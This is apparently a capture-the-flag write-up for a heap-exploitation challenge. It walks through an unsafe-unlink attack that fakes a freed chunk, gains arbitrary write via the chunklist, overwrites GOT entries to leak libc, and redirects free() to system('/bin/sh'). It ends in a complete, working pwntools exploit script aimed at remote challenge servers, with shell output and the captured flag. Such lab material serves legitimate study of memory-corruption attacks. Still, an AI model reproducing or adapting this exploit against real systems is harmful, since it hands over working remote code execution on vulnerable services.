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Unlink Exploit

Summary

In this approach, we overwrite PREV_SIZE to shrink the size of the previous chunk. This tricks the heap into thinking that the previous chunk's metadata starts where our data does, enabling us to control chunk metadata. As we can control the fd and bk pointers, we can execute an unlink exploit. We can bypass the unlink security checks by pointing fd and bk to the chunklist, which contains a pointer to the chunk.
This enables us to overwrite a chunklist entry with the address of the chunklist itself, meaning we can now edit the chunklist. This gives us the ability to write to wherever we want, and we choose to target the GOT. We can overwrite [email protected] with [email protected] as that makes it functionally equivalent and then read a libc address. From here we overwrite [email protected] with the address of system and free() a chunk containing /bin/sh.

Exploitation

To bypass the unlink check, we need P->fd->bk to point to the address of P, meaning P->fd has to point 0x18 bytes behind it. Because we want P->fd to be within the chunklist (most simply at the beginning), we will allocate 3 chunks before the chunk we use for the unlink() exploit. Each chunk we allocate takes up 0x8 bytes of space on the chunklist (this will make more sense later, I promise).
We'll choose a size of 0x98 for the chunks. Firstly, this means the chunk does not fall in fastbin range. Secondly, the additional 0x8 bytes means we do in fact overwrite prev_size. Other sizes such as 0x108 would also work, but make sure Chunk 4 overwrites Chunk 5's prev_size field.
alloc()
alloc()
alloc()
alloc(data='A' * 0x98)
alloc()
PREV_SIZE is overwritten
Now we will create a fake chunk. The fake size we give it will be the difference between the start of our fake data and the next consecutive chunk. In this case, that is 0x90 - as you see from the image, the difference between chunks 4 and 5 is 0xa0, so if we remove the metadata the fake chunk is 0x90. We'll also overwrite PREV_IN_USE to trick it into thinking it's free.
fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * 0x70, # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)
And if we send this all off, we can see it worked perfectly:
radare2 tells us chunk 4 is free. Chunk 5 has a new prev_size and P is no longer set. If we run dmhc again to view the chunk at location of chunk 5 - 0x90, our fake chunk is set up exactly as planned.
Now we free chunk 5, making Chunks 4 and 5 consolidate. This triggers a call to the unlink() macro on Chunk 4. Let's look at how we expect the unlink to go.
FD = P->fd (= CHUNKLIST)
BK = P->bk (= CHUNKLIST + 8)
FD->bk = BK (CHUNKLIST + 0x18 = CHUNKLIST)
BK->fd = FD (CHUNKLIST + 8 + 0x10 = CHUNKLIST)
Both writes write to CHUNKLIST + 0x18, and the value written is the address of the chunklist. Now, if we edit Chunk 3, we're actually editing the chunklist itself as that's where the pointer points to.
We also manage to bypass the unlink check by getting FD->bk and BK->fd to point at the chunk's entry in the list.
Note that the value written was the location of fd, so if the chunk we overflowed with was Chunk 0 we would have had to write to a location ahead of the chunklist in memory in order to bypass the check, and pad all the way to the start before we could edit chunklist entries. By allocating 3 chunks before the overflow chunk we were able to write the chunklist address to entry 4 directly and bypass the check, meaning we had to mess around with padding less.
And it definitely worked:
The 4th Pointer is overwritten with the chunklist address

LIBC Leak

Editing Chunk 3 now edits the chunklist itself, meaning we can overwrite pointers and gain arbitrary writes.
If we go back to the disassembly of edit(), we notice strlen() is called on the chunk data. We can overwrite [email protected] with [email protected] to print out this data instead - and using puts has an additional benefit: puts also returns the length of the string it reads. This means the program will not break, but we'll still gain the additional functionality.
Once we overwrite [email protected], we'll call edit() on another GOT entry (free) to leak libc.
# now we write [email protected] to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))
# now when we edit() we read chunk contents
# but [email protected] holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))
Now we just attempt to edit Chunk 0. Because it would print the libc address as soon as we enter the index, we'll have to do this part manually or the p.sendlineafter() lines would skip over the leak.
p.sendline('2')
p.sendlineafter('Index: ', '0')
print(p.clean())
The response we get is
b'@u\xdb%\xc0\x7f\nData: '
So it worked! Let's just parse the response and print out the leak.
free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))
p.recvuntil('Data: ') # just receive the rest
[+] Free Leak: 0x7f2211927540
[+] Libc base: 0x7f22118a3000
Perfect.

Getting a Shell

This is quite simple - change a GOT entry such as free and replace it with system. Then, if the chunk contains /bin/sh, it'll get passed to the function as a parameter.
You may notice the 2nd and 3rd chunks have been untouched so far, so we could easily place the /bin/sh in one of those right at the beginning for use now.
# right at the beginning
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()
We're currently halfway through using edit() on [email protected], so we can just continue inputting [email protected] as the data, then free Chunk 1.
p.sendline(p64(libc.symbols['system'])) # pass in [email protected] as the data
free(1) # trigger [email protected] with the parameter /bin/sh
p.interactive()
And boom - success!
[+] Free Leak: 0x7f04d4413540
[+] Libc base: 0x7f04d438f000
[*] Switching to interactive mode
$ ls
chapter1 exploit.py

Moving to Remote

There are a few changes we need to make remotely. Firstly, the libc may be different (it was for me). Simply leak a couple more libc addresses and use somewhere like here to identify the libc version. We can also change the beginning of our script.
if args.REMOTE:
p = remote('167.71.140.171', 31713)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
Secondly, the way the service uses socat means it echoes our input back to us. Because of the way we use p.sendlineafter(), this doesn't affect us until we parse the libc leak. We can just listen to the extra data if it's on REMOTE mode.
if args.REMOTE:
p.recvuntil('0\r\n') # echoed back
free_leak = u64(p.recv(6) + b'\x00\x00') # now leak as usual
# [...]
Thirdly, the socat used has pty enabled. This means it interprets the \x7f we send as the ascii representation of backspace, which would delete anything we sent. To mitigate this (it's only relevant when sending system) we just check if we're on REMOTE mode and if we are we can escape the \x7f with \x16, the socat escape character.
system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # escape backspace
p.sendline(system)
And it works perfectly!
[+] Free Leak: 0x7fe8285324f0
[+] Libc base: 0x7fe8284ae000
[*] Switching to interactive mode
$ cat flag
HTB{Singl3?_NO!_D0ubl3?_NO!_Tr1pl3_Unsaf3_Unlink}

Final Exploit

from pwn import *
elf = context.binary = ELF('./chapter1', checksec=False)
if args.REMOTE:
p = remote('178.62.90.208', 30352)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
CHUNKLIST = 0x6020c0
def alloc(size=0x98, data='a'):
p.sendlineafter('>> ', '1')
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Data: ', data)
def free(idx):
p.sendlineafter('>> ', '3')
p.sendlineafter('Index: ', str(idx))
def edit(idx, data='a'):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Data: ', data)
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()
fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * (0x70), # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)
free(4)
# now we write [email protected] to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))
# now when we edit() we read chunk contentx
# but [email protected] holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))
# have to do this one part at a time to grab the address
p.sendline('2')
p.sendlineafter('Index: ', '0')
if args.REMOTE:
p.recvuntil('0\r\n')
free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))
p.recvuntil('Data: ') # just receive the rest
# send system
system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # socat badchars - \x7f interpreted as backspace, escape with \x16
p.sendline(system)
free(1)
p.interactive()